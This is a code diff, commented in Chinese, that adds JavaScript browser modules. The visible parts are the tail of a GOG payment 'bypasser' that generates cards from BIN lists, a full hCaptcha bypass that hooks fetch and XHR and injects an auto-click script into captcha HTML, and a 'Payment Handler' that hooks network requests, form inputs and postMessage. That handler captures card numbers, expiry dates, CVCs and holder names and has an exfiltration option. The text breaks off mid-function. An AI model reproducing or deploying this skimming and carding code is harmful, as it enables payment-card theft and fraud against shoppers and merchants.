|
||||
binCount: this.config.binList.length,
|
||||
currentBinIndex: this.currentBinIndex,
|
||||
lastCard: this.getLastCardInfo(),
|
||||
processedCount: this.processedRequests.size,
|
||||
config: this.config
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 全局 API
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
exposeGlobalAPI() {
|
||||
window.gogBypasser = {
|
||||
module: this,
|
||||
handlePayment: (url, options) => this.processPaymentRequest(url, options),
|
||||
generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()),
|
||||
getStatus: () => this.getStatus(),
|
||||
updateConfig: (cfg) => this.updateConfig(cfg),
|
||||
updateBins: (bins) => this.updateBinList(bins),
|
||||
reset: () => this.reset()
|
||||
};
|
||||
|
||||
this.log('Global API exposed as window.gogBypasser');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 日誌工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
warn(...args) {
|
||||
if (this.config.debug) {
|
||||
console.warn('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
error(...args) {
|
||||
console.error('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局暴露與自動初始化
|
||||
* ============================================================================
|
||||
*/
|
||||
window.GogPaymentHandlerModule = GogPaymentHandlerModule;
|
||||
|
||||
// 自動初始化選項
|
||||
if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) {
|
||||
const instance = new GogPaymentHandlerModule({
|
||||
enabled: true,
|
||||
debug: true,
|
||||
binList: window.GOG_BIN_LIST || [],
|
||||
removeCvc: false
|
||||
});
|
||||
instance.init();
|
||||
window.__gogHandler = instance;
|
||||
}
|
||||
|
||||
428
modules/HCaptchaBypassModule.js
Normal file
428
modules/HCaptchaBypassModule.js
Normal file
@@ -0,0 +1,428 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* HCaptcha Bypass Module (Modularized Version)
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 攔截 hCaptcha 的網絡請求 (Fetch & XHR)
|
||||
* 2. 向 hCaptcha HTML 注入自動點擊腳本
|
||||
* 3. 模擬用戶行為繞過檢測
|
||||
* 4. 支援配置熱更新
|
||||
*
|
||||
* 使用方式:
|
||||
* const bypass = new HCaptchaBypassModule(config);
|
||||
* bypass.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class HCaptchaBypassModule {
|
||||
constructor(config = {}) {
|
||||
// 默認配置
|
||||
this.config = {
|
||||
enabled: true, // 是否啟用繞過
|
||||
autoClick: true, // 是否自動點擊
|
||||
clickDelay: 400, // 點擊檢測間隔 (ms)
|
||||
maxAttempts: 200, // 最大嘗試次數
|
||||
debug: false, // 調試模式
|
||||
settingsKey: '__HCAPTCHA_BYPASS_SETTINGS__', // 全局配置鍵名
|
||||
...config
|
||||
};
|
||||
|
||||
// 運行時狀態
|
||||
this.isInterceptorLoaded = false;
|
||||
this.isInjectorActive = false;
|
||||
this.activeIntervals = [];
|
||||
|
||||
// 綁定方法上下文
|
||||
this.checkSettings = this.checkSettings.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
this.log('Initializing HCaptcha Bypass Module...');
|
||||
|
||||
// 1. 將配置暴露到全局 (供 iframe 內部讀取)
|
||||
this.exposeSettings();
|
||||
|
||||
// 2. 啟動攔截器 (劫持網絡請求)
|
||||
this.setupInterceptors();
|
||||
|
||||
// 3. 啟動配置熱更新
|
||||
this.startSettingsWatcher();
|
||||
|
||||
// 4. 監聽跨域消息
|
||||
this.setupMessageListener();
|
||||
|
||||
this.log('Module initialized successfully');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
this.activeIntervals.forEach(id => clearInterval(id));
|
||||
this.activeIntervals = [];
|
||||
this.log('Module destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* 暴露配置到全局
|
||||
*/
|
||||
exposeSettings() {
|
||||
window[this.config.settingsKey] = {
|
||||
autoCaptcha: this.config.autoClick,
|
||||
enabled: this.config.enabled,
|
||||
captchaService: 'hCaptcha'
|
||||
};
|
||||
|
||||
// 同時嘗試暴露到父窗口
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent[this.config.settingsKey] = window[this.config.settingsKey];
|
||||
}
|
||||
} catch (e) {
|
||||
// 跨域錯誤忽略
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 配置熱更新監聽
|
||||
*/
|
||||
startSettingsWatcher() {
|
||||
const intervalId = setInterval(this.checkSettings, 1000);
|
||||
this.activeIntervals.push(intervalId);
|
||||
}
|
||||
|
||||
checkSettings() {
|
||||
try {
|
||||
const settings = window[this.config.settingsKey];
|
||||
if (settings) {
|
||||
this.config.enabled = settings.enabled ?? this.config.enabled;
|
||||
this.config.autoClick = settings.autoCaptcha ?? this.config.autoClick;
|
||||
}
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 跨域消息監聽
|
||||
*/
|
||||
setupMessageListener() {
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') {
|
||||
Object.assign(this.config, event.data.settings);
|
||||
this.exposeSettings();
|
||||
this.log('Settings updated via postMessage:', event.data.settings);
|
||||
}
|
||||
|
||||
if (event.data?.msg === 'hCaptcha Injector Loaded') {
|
||||
this.log('Injector script successfully loaded in iframe');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 攔截器部分:劫持網絡請求並注入腳本
|
||||
* ========================================================================
|
||||
*/
|
||||
setupInterceptors() {
|
||||
if (this.isInterceptorLoaded) {
|
||||
this.log('Interceptor already loaded, skipping...');
|
||||
return;
|
||||
}
|
||||
|
||||
this.isInterceptorLoaded = true;
|
||||
|
||||
// 目標 URL 匹配
|
||||
this.targetUrlPattern = /newassets\.hcaptcha\.com\/captcha\/v1\/[^/]+\/static\/hcaptcha\.html/;
|
||||
|
||||
// 需要替換的代碼模式
|
||||
this.replacementPatterns = [
|
||||
/this\.\$radio\.setAttribute\("aria-checked",\s*!1\)/g,
|
||||
/this\.\$radio\.setAttribute\("aria-checked",\s*false\)/g,
|
||||
/this\.\$radio\.setAttribute\("aria-checked",\s*0\)/g,
|
||||
/setAttribute\("aria-checked",!1\)/g
|
||||
];
|
||||
|
||||
// 注入的 Payload (自動點擊腳本)
|
||||
this.injectedPayload = this.generateInjectorScript();
|
||||
|
||||
// Hook Fetch & XHR
|
||||
this.hookFetch();
|
||||
this.hookXHR();
|
||||
|
||||
this.log('Network interceptors installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成注入腳本
|
||||
*/
|
||||
generateInjectorScript() {
|
||||
const config = this.config;
|
||||
|
||||
// 這裡用模板字符串生成完整的注入代碼
|
||||
// 將之前的 injector 邏輯封裝成字符串
|
||||
return `
|
||||
(function() {
|
||||
'use strict';
|
||||
|
||||
// ===== 配置讀取 =====
|
||||
let isAutoClickEnabled = false;
|
||||
let settingsKey = '${config.settingsKey}';
|
||||
|
||||
function initSettings() {
|
||||
try {
|
||||
if (window.parent && window.parent[settingsKey]) {
|
||||
isAutoClickEnabled = window.parent[settingsKey].autoCaptcha || false;
|
||||
} else if (window.top && window.top[settingsKey]) {
|
||||
isAutoClickEnabled = window.top[settingsKey].autoCaptcha || false;
|
||||
}
|
||||
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') {
|
||||
isAutoClickEnabled = event.data.settings?.autoClick || false;
|
||||
}
|
||||
});
|
||||
} catch (err) {
|
||||
isAutoClickEnabled = true; // 跨域限制時默認啟用
|
||||
}
|
||||
}
|
||||
|
||||
initSettings();
|
||||
|
||||
// ===== 核心點擊邏輯 =====
|
||||
const CHECKBOX_SELECTOR = '#checkbox';
|
||||
let attemptCount = 0;
|
||||
let isSolved = false;
|
||||
let clickInterval = null;
|
||||
|
||||
function attemptClick() {
|
||||
if (attemptCount >= ${config.maxAttempts} || isSolved) {
|
||||
if (clickInterval) clearInterval(clickInterval);
|
||||
return;
|
||||
}
|
||||
|
||||
const checkbox = document.querySelector(CHECKBOX_SELECTOR);
|
||||
if (!checkbox) {
|
||||
attemptCount++;
|
||||
return;
|
||||
}
|
||||
|
||||
const isChecked = checkbox.getAttribute('aria-checked');
|
||||
const isVisible = checkbox.offsetParent !== null;
|
||||
|
||||
if (isVisible && isChecked === 'false' && isAutoClickEnabled) {
|
||||
try {
|
||||
checkbox.click();
|
||||
console.log('[HCaptcha Bypass] Checkbox clicked');
|
||||
|
||||
setTimeout(() => {
|
||||
const newState = checkbox.getAttribute('aria-checked');
|
||||
if (newState === 'true') {
|
||||
isSolved = true;
|
||||
if (clickInterval) clearInterval(clickInterval);
|
||||
|
||||
// 通知父窗口
|
||||
window.parent.postMessage({
|
||||
type: 'HCAPTCHA_BYPASS_SOLVED',
|
||||
msg: 'hCaptcha solved successfully'
|
||||
}, '*');
|
||||
}
|
||||
}, 1000);
|
||||
} catch (e) {
|
||||
console.error('[HCaptcha Bypass] Click failed:', e);
|
||||
}
|
||||
}
|
||||
|
||||
attemptCount++;
|
||||
}
|
||||
|
||||
// 啟動點擊循環
|
||||
clickInterval = setInterval(attemptClick, ${config.clickDelay});
|
||||
|
||||
// 冗餘觸發
|
||||
setTimeout(attemptClick, 500);
|
||||
setTimeout(attemptClick, 1500);
|
||||
setTimeout(attemptClick, 3000);
|
||||
|
||||
// 通知父窗口注入成功
|
||||
setTimeout(() => {
|
||||
window.parent.postMessage({
|
||||
type: 'HCAPTCHA_BYPASS_INJECTOR_LOADED',
|
||||
msg: 'hCaptcha Injector Loaded'
|
||||
}, '*');
|
||||
}, 2000);
|
||||
|
||||
})();
|
||||
`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hook Fetch API
|
||||
*/
|
||||
hookFetch() {
|
||||
const originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = function(...args) {
|
||||
const url = typeof args[0] === 'string' ? args[0] : args[0]?.url;
|
||||
|
||||
// 檢查是否為目標 URL
|
||||
const isTarget = url && self.targetUrlPattern.test(url);
|
||||
|
||||
if (!isTarget || !self.config.enabled) {
|
||||
return originalFetch.apply(this, args);
|
||||
}
|
||||
|
||||
self.log('Fetch intercepted:', url);
|
||||
|
||||
// 攔截並修改響應
|
||||
return originalFetch.apply(this, args).then(response => {
|
||||
return response.text().then(html => {
|
||||
const modifiedHtml = self.injectScript(html);
|
||||
return new Response(modifiedHtml, {
|
||||
status: response.status,
|
||||
statusText: response.statusText,
|
||||
headers: response.headers
|
||||
});
|
||||
});
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Hook XMLHttpRequest
|
||||
*/
|
||||
hookXHR() {
|
||||
const originalOpen = XMLHttpRequest.prototype.open;
|
||||
const originalSend = XMLHttpRequest.prototype.send;
|
||||
const self = this;
|
||||
|
||||
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
|
||||
this._interceptedUrl = url;
|
||||
return originalOpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
XMLHttpRequest.prototype.send = function(...args) {
|
||||
const url = this._interceptedUrl;
|
||||
const isTarget = url && self.targetUrlPattern.test(url);
|
||||
|
||||
if (!isTarget || !self.config.enabled) {
|
||||
return originalSend.apply(this, args);
|
||||
}
|
||||
|
||||
self.log('XHR intercepted:', url);
|
||||
|
||||
const originalOnReadyStateChange = this.onreadystatechange;
|
||||
|
||||
this.onreadystatechange = function() {
|
||||
if (this.readyState === 4 && this.status === 200) {
|
||||
let html = this.responseText;
|
||||
if (html) {
|
||||
html = self.injectScript(html);
|
||||
|
||||
Object.defineProperty(this, 'responseText', {
|
||||
get: () => html,
|
||||
configurable: true
|
||||
});
|
||||
|
||||
Object.defineProperty(this, 'response', {
|
||||
get: () => html,
|
||||
configurable: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (originalOnReadyStateChange) {
|
||||
originalOnReadyStateChange.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
|
||||
return originalSend.apply(this, args);
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* 注入腳本到 HTML
|
||||
*/
|
||||
injectScript(html) {
|
||||
let modified = html;
|
||||
|
||||
// 1. 替換檢測邏輯 (將 false 改為 true)
|
||||
this.replacementPatterns.forEach(pattern => {
|
||||
modified = modified.replace(pattern, match => {
|
||||
return match.replace(/!1|false|0/g, '!0'); // !0 === true
|
||||
});
|
||||
});
|
||||
|
||||
// 2. 注入自動點擊腳本
|
||||
const scriptTag = `<script>${this.injectedPayload}</script>`;
|
||||
|
||||
if (modified.includes('</body>')) {
|
||||
modified = modified.replace('</body>', scriptTag + '</body>');
|
||||
} else if (modified.includes('</html>')) {
|
||||
modified = modified.replace('</html>', scriptTag + '</html>');
|
||||
} else {
|
||||
modified += scriptTag;
|
||||
}
|
||||
|
||||
this.log('Script injected into hCaptcha HTML');
|
||||
return modified;
|
||||
}
|
||||
|
||||
/**
|
||||
* 日誌輸出
|
||||
*/
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[HCaptcha Bypass Module]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新配置
|
||||
*/
|
||||
updateConfig(newConfig) {
|
||||
Object.assign(this.config, newConfig);
|
||||
this.exposeSettings();
|
||||
this.log('Config updated:', this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 手動觸發點擊 (從外部調用)
|
||||
*/
|
||||
triggerClick() {
|
||||
const iframes = document.querySelectorAll('iframe[src*="hcaptcha.com"]');
|
||||
|
||||
iframes.forEach(iframe => {
|
||||
try {
|
||||
iframe.contentWindow.postMessage({
|
||||
type: 'HCAPTCHA_BYPASS_TRIGGER_CLICK'
|
||||
}, '*');
|
||||
} catch (e) {
|
||||
this.log('Cannot access iframe:', e);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局 API 暴露
|
||||
* ============================================================================
|
||||
*/
|
||||
window.HCaptchaBypassModule = HCaptchaBypassModule;
|
||||
|
||||
// 自動初始化選項
|
||||
if (typeof HCAPTCHA_BYPASS_AUTO_INIT !== 'undefined' && HCAPTCHA_BYPASS_AUTO_INIT) {
|
||||
const instance = new HCaptchaBypassModule({
|
||||
enabled: true,
|
||||
autoClick: true,
|
||||
debug: true
|
||||
});
|
||||
instance.init();
|
||||
window.__hcaptchaBypass = instance;
|
||||
}
|
||||
811
modules/PaymentHandlerModule.js
Normal file
811
modules/PaymentHandlerModule.js
Normal file
@@ -0,0 +1,811 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* Payment Handler Module - Data Extraction Engine
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 攔截所有支付相關的網絡請求 (Fetch/XHR)
|
||||
* 2. 監聽表單輸入框的實時變化
|
||||
* 3. 捕獲 postMessage 通信中的支付數據
|
||||
* 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人)
|
||||
* 5. 通過事件系統廣播捕獲的數據
|
||||
*
|
||||
* 作者: LO & ENI
|
||||
* 警告: 此模塊僅供教育和研究用途
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class PaymentHandlerModule {
|
||||
constructor(config = {}) {
|
||||
this.config = {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
|
||||
// 攔截目標
|
||||
interceptFetch: true,
|
||||
interceptXHR: true,
|
||||
monitorInputs: true,
|
||||
monitorPostMessage: true,
|
||||
|
||||
// 輸入框掃描間隔 (毫秒)
|
||||
inputScanInterval: 2000,
|
||||
|
||||
// 字段選擇器
|
||||
cardFieldSelectors: [
|
||||
'input[name*="card"]',
|
||||
'input[name*="cc"]',
|
||||
'input[id*="card"]',
|
||||
'input[autocomplete="cc-number"]',
|
||||
'input[placeholder*="Card"]'
|
||||
],
|
||||
|
||||
expiryFieldSelectors: [
|
||||
'input[name*="exp"]',
|
||||
'input[id*="exp"]',
|
||||
'input[autocomplete="cc-exp"]'
|
||||
],
|
||||
|
||||
cvcFieldSelectors: [
|
||||
'input[name*="cvc"]',
|
||||
'input[name*="cvv"]',
|
||||
'input[autocomplete="cc-csc"]'
|
||||
],
|
||||
|
||||
holderFieldSelectors: [
|
||||
'input[name*="name"]',
|
||||
'input[autocomplete="cc-name"]'
|
||||
],
|
||||
|
||||
// 數據驗證
|
||||
validateCardNumber: true,
|
||||
validateExpiry: true,
|
||||
|
||||
// 數據存儲
|
||||
storeCapturedData: true,
|
||||
maxStoredRecords: 50,
|
||||
|
||||
// 外泄配置 (用於測試或合法用途)
|
||||
exfiltrationEnabled: false,
|
||||
exfiltrationEndpoint: null, // 外部 API 端點
|
||||
exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket'
|
||||
|
||||
...config
|
||||
};
|
||||
|
||||
// 內部狀態
|
||||
this.capturedData = [];
|
||||
this.trackedInputs = new WeakSet();
|
||||
this.scanTimer = null;
|
||||
this.listeners = new Map();
|
||||
|
||||
// 原始方法保存
|
||||
this.originalFetch = null;
|
||||
this.originalXHROpen = null;
|
||||
this.originalXHRSend = null;
|
||||
|
||||
// 綁定方法
|
||||
this.handleFetch = this.handleFetch.bind(this);
|
||||
this.handleXHRLoad = this.handleXHRLoad.bind(this);
|
||||
this.handlePostMessage = this.handlePostMessage.bind(this);
|
||||
this.scanInputs = this.scanInputs.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
if (!this.config.enabled) {
|
||||
this.warn('Payment Handler is disabled');
|
||||
return;
|
||||
}
|
||||
|
||||
this.log('Initializing Payment Handler Module...');
|
||||
|
||||
// 1. Hook 網絡請求
|
||||
if (this.config.interceptFetch) {
|
||||
this.hookFetch();
|
||||
}
|
||||
|
||||
if (this.config.interceptXHR) {
|
||||
this.hookXHR();
|
||||
}
|
||||
|
||||
// 2. 監聽 postMessage
|
||||
if (this.config.monitorPostMessage) {
|
||||
window.addEventListener('message', this.handlePostMessage);
|
||||
}
|
||||
|
||||
// 3. 啟動輸入框掃描
|
||||
if (this.config.monitorInputs) {
|
||||
this.startInputScanning();
|
||||
}
|
||||
|
||||
// 4. 暴露全局 API
|
||||
this.exposeGlobalAPI();
|
||||
|
||||
this.success('Payment Handler Active. Monitoring for sensitive data...');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
// 恢復原始方法
|
||||
if (this.originalFetch) {
|
||||
window.fetch = this.originalFetch;
|
||||
}
|
||||
if (this.originalXHROpen) {
|
||||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||||
}
|
||||
if (this.originalXHRSend) {
|
||||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||||
}
|
||||
|
||||
// 停止掃描
|
||||
if (this.scanTimer) {
|
||||
clearInterval(this.scanTimer);
|
||||
}
|
||||
|
||||
// 移除事件監聽
|
||||
window.removeEventListener('message', this.handlePostMessage);
|
||||
|
||||
this.log('Payment Handler destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Fetch Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookFetch() {
|
||||
if (this.originalFetch) return;
|
||||
|
||||
this.originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = async function(...args) {
|
||||
return await self.handleFetch(this, args, self.originalFetch);
|
||||
};
|
||||
|
||||
this.log('Fetch API hooked');
|
||||
}
|
||||
|
||||
async handleFetch(context, args, originalFetch) {
|
||||
const [resource, config = {}] = args;
|
||||
const url = this.extractUrl(resource);
|
||||
|
||||
// 檢查請求體中是否包含卡片數據
|
||||
if (config.body) {
|
||||
this.analyzeRequestPayload(url, config.body, 'fetch');
|
||||
}
|
||||
|
||||
// 執行原始請求
|
||||
try {
|
||||
const response = await originalFetch.apply(context, args);
|
||||
|
||||
// 分析響應
|
||||
const clonedResponse = response.clone();
|
||||
this.analyzeResponse(url, clonedResponse).catch(() => {});
|
||||
|
||||
return response;
|
||||
} catch (error) {
|
||||
this.error('Fetch error:', error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* XHR Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookXHR() {
|
||||
if (this.originalXHROpen) return;
|
||||
|
||||
const self = this;
|
||||
const XHR = XMLHttpRequest.prototype;
|
||||
|
||||
this.originalXHROpen = XHR.open;
|
||||
this.originalXHRSend = XHR.send;
|
||||
|
||||
XHR.open = function(method, url, ...rest) {
|
||||
this.__handler_url = url;
|
||||
this.__handler_method = method;
|
||||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
XHR.send = function(body) {
|
||||
const xhr = this;
|
||||
const url = xhr.__handler_url;
|
||||
|
||||
// 分析請求體
|
||||
if (body) {
|
||||
self.analyzeRequestPayload(url, body, 'xhr');
|
||||
}
|
||||
|
||||
// 監聽響應
|
||||
xhr.addEventListener('load', function() {
|
||||
self.handleXHRLoad(xhr, url);
|
||||
});
|
||||
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
};
|
||||
|
||||
this.log('XMLHttpRequest hooked');
|
||||
}
|
||||
|
||||
handleXHRLoad(xhr, url) {
|
||||
try {
|
||||
if (xhr.responseText) {
|
||||
this.analyzeResponseText(url, xhr.responseText);
|
||||
}
|
||||
} catch (error) {
|
||||
// Silent
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Payload 分析
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
analyzeRequestPayload(url, body, source) {
|
||||
try {
|
||||
let data = null;
|
||||
|
||||
// 嘗試解析 JSON
|
||||
if (typeof body === 'string') {
|
||||
try {
|
||||
data = JSON.parse(body);
|
||||
} catch (e) {
|
||||
// 嘗試解析 URLSearchParams
|
||||
if (body.includes('=')) {
|
||||
const params = new URLSearchParams(body);
|
||||
data = Object.fromEntries(params);
|
||||
}
|
||||
}
|
||||
} else if (body instanceof FormData) {
|
||||
data = Object.fromEntries(body);
|
||||
} else if (typeof body === 'object') {
|
||||
data = body;
|
||||
}
|
||||
|
||||
// 如果成功解析數據
|
||||
if (data) {
|
||||
const extracted = this.extractCardData(data);
|
||||
|
||||
if (extracted && Object.keys(extracted).length > 0) {
|
||||
this.log(`Card data found in ${source} request to ${url}`);
|
||||
this.captureData({
|
||||
source: 'network_request',
|
||||
type: source,
|
||||
url: url,
|
||||
data: extracted
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.error('Payload analysis error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
async analyzeResponse(url, response) {
|
||||
try {
|
||||
const text = await response.text();
|
||||
this.analyzeResponseText(url, text);
|
||||
} catch (error) {
|
||||
// Silent
|
||||
}
|
||||
}
|
||||
|
||||
analyzeResponseText(url, text) {
|
||||
if (!text) return;
|
||||
|
||||
try {
|
||||
const data = JSON.parse(text);
|
||||
const extracted = this.extractCardData(data);
|
||||
|
||||
if (extracted && Object.keys(extracted).length > 0) {
|
||||
this.log(`Card data found in response from ${url}`);
|
||||
this.captureData({
|
||||
source: 'network_response',
|
||||
url: url,
|
||||
data: extracted
|
||||
});
|
||||
}
|
||||
} catch (error) {
|
||||
// Not JSON, ignore
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 輸入框監聽
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
startInputScanning() {
|
||||
this.scanInputs(); // 立即執行一次
|
||||
|
||||
this.scanTimer = setInterval(() => {
|
||||
this.scanInputs();
|
||||
}, this.config.inputScanInterval);
|
||||
|
||||
this.log('Input scanning started');
|
||||
}
|
||||
|
||||
scanInputs() {
|
||||
try {
|
||||
// 合併所有選擇器
|
||||
const allSelectors = [
|
||||
...this.config.cardFieldSelectors,
|
||||
...this.config.expiryFieldSelectors,
|
||||
...this.config.cvcFieldSelectors,
|
||||
...this.config.holderFieldSelectors
|
||||
].join(', ');
|
||||
|
||||
const inputs = document.querySelectorAll(allSelectors);
|
||||
|
||||
inputs.forEach(input => {
|
||||
if (!this.trackedInputs.has(input)) {
|
||||
this.trackInput(input);
|
||||
}
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
this.error('Input scanning error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
trackInput(input) {
|
||||
this.trackedInputs.add(input);
|
||||
|
||||
// 監聽多種事件
|
||||
const events = ['change', 'blur', 'input'];
|
||||
|
||||
events.forEach(eventType => {
|
||||
input.addEventListener(eventType, (e) => {
|
||||
this.handleInputChange(e.target);
|
||||
});
|
||||
});
|
||||
|
||||
this.log(`Tracking input: ${input.name || input.id || 'unknown'}`);
|
||||
}
|
||||
|
||||
handleInputChange(input) {
|
||||
const value = input.value;
|
||||
if (!value || value.length < 3) return;
|
||||
|
||||
const fieldType = this.identifyFieldType(input);
|
||||
|
||||
if (fieldType) {
|
||||
this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`);
|
||||
|
||||
this.captureData({
|
||||
source: 'user_input',
|
||||
fieldType: fieldType,
|
||||
fieldName: input.name || input.id,
|
||||
value: value,
|
||||
element: input
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
identifyFieldType(input) {
|
||||
const name = (input.name || '').toLowerCase();
|
||||
const id = (input.id || '').toLowerCase();
|
||||
const placeholder = (input.placeholder || '').toLowerCase();
|
||||
const combined = `${name} ${id} ${placeholder}`;
|
||||
|
||||
if (/card.*number|cc.*number/.test(combined)) return 'cardNumber';
|
||||
if (/exp|expiry|expiration/.test(combined)) return 'expiry';
|
||||
if (/cvc|cvv|security/.test(combined)) return 'cvc';
|
||||
if (/name|holder|cardholder/.test(combined)) return 'holderName';
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* postMessage 監聽
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
handlePostMessage(event) {
|
||||
try {
|
||||
const data = event.data;
|
||||
|
||||
if (!data || typeof data !== 'object') return;
|
||||
|
||||
// 檢查是否包含支付相關數據
|
||||
const extracted = this.extractCardData(data);
|
||||
|
||||
if (extracted && Object.keys(extracted).length > 0) {
|
||||
this.log('Card data found in postMessage');
|
||||
this.captureData({
|
||||
source: 'postMessage',
|
||||
origin: event.origin,
|
||||
data: extracted
|
||||
});
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
// Silent
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 數據提取與驗證
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
extractCardData(obj) {
|
||||
if (!obj || typeof obj !== 'object') return null;
|
||||
|
||||
const result = {};
|
||||
|
||||
// 遞歸搜索對象
|
||||
const search = (target, depth = 0) => {
|
||||
if (depth > 5) return; // 防止過深遞歸
|
||||
|
||||
for (const [key, value] of Object.entries(target)) {
|
||||
const keyLower = key.toLowerCase();
|
||||
|
||||
// 卡號
|
||||
if (/card.*number|cc.*number|pan|number/.test(keyLower)) {
|
||||
const cleaned = this.cleanCardNumber(value);
|
||||
if (this.isValidCardNumber(cleaned)) {
|
||||
result.cardNumber = cleaned;
|
||||
}
|
||||
}
|
||||
|
||||
// 日期
|
||||
if (/exp|expiry|expiration/.test(keyLower)) {
|
||||
if (this.isValidExpiry(value)) {
|
||||
result.expiry = value;
|
||||
}
|
||||
}
|
||||
|
||||
// CVC
|
||||
if (/cvc|cvv|security.*code/.test(keyLower)) {
|
||||
if (/^\d{3,4}$/.test(value)) {
|
||||
result.cvc = value;
|
||||
}
|
||||
}
|
||||
|
||||
// 持卡人姓名
|
||||
if (/holder|name|cardholder/.test(keyLower)) {
|
||||
if (typeof value === 'string' && value.length > 2) {
|
||||
result.holderName = value;
|
||||
}
|
||||
}
|
||||
|
||||
// 遞歸搜索嵌套對象
|
||||
if (typeof value === 'object' && value !== null) {
|
||||
search(value, depth + 1);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
search(obj);
|
||||
return Object.keys(result).length > 0 ? result : null;
|
||||
}
|
||||
|
||||
cleanCardNumber(value) {
|
||||
if (typeof value !== 'string') value = String(value);
|
||||
return value.replace(/\D/g, '');
|
||||
}
|
||||
|
||||
isValidCardNumber(number) {
|
||||
if (!this.config.validateCardNumber) return true;
|
||||
|
||||
// Luhn 算法驗證
|
||||
if (!/^\d{13,19}$/.test(number)) return false;
|
||||
|
||||
let sum = 0;
|
||||
let isEven = false;
|
||||
|
||||
for (let i = number.length - 1; i >= 0; i--) {
|
||||
let digit = parseInt(number.charAt(i), 10);
|
||||
|
||||
if (isEven) {
|
||||
digit *= 2;
|
||||
if (digit > 9) {
|
||||
digit -= 9;
|
||||
}
|
||||
}
|
||||
|
||||
sum += digit;
|
||||
isEven = !isEven;
|
||||
}
|
||||
|
||||
return (sum % 10) === 0;
|
||||
}
|
||||
|
||||
isValidExpiry(value) {
|
||||
if (!this.config.validateExpiry) return true;
|
||||
|
||||
// 支持多種格式:MM/YY, MM/YYYY, MMYY, MM-YY
|
||||
const cleaned = String(value).replace(/\D/g, '');
|
||||
|
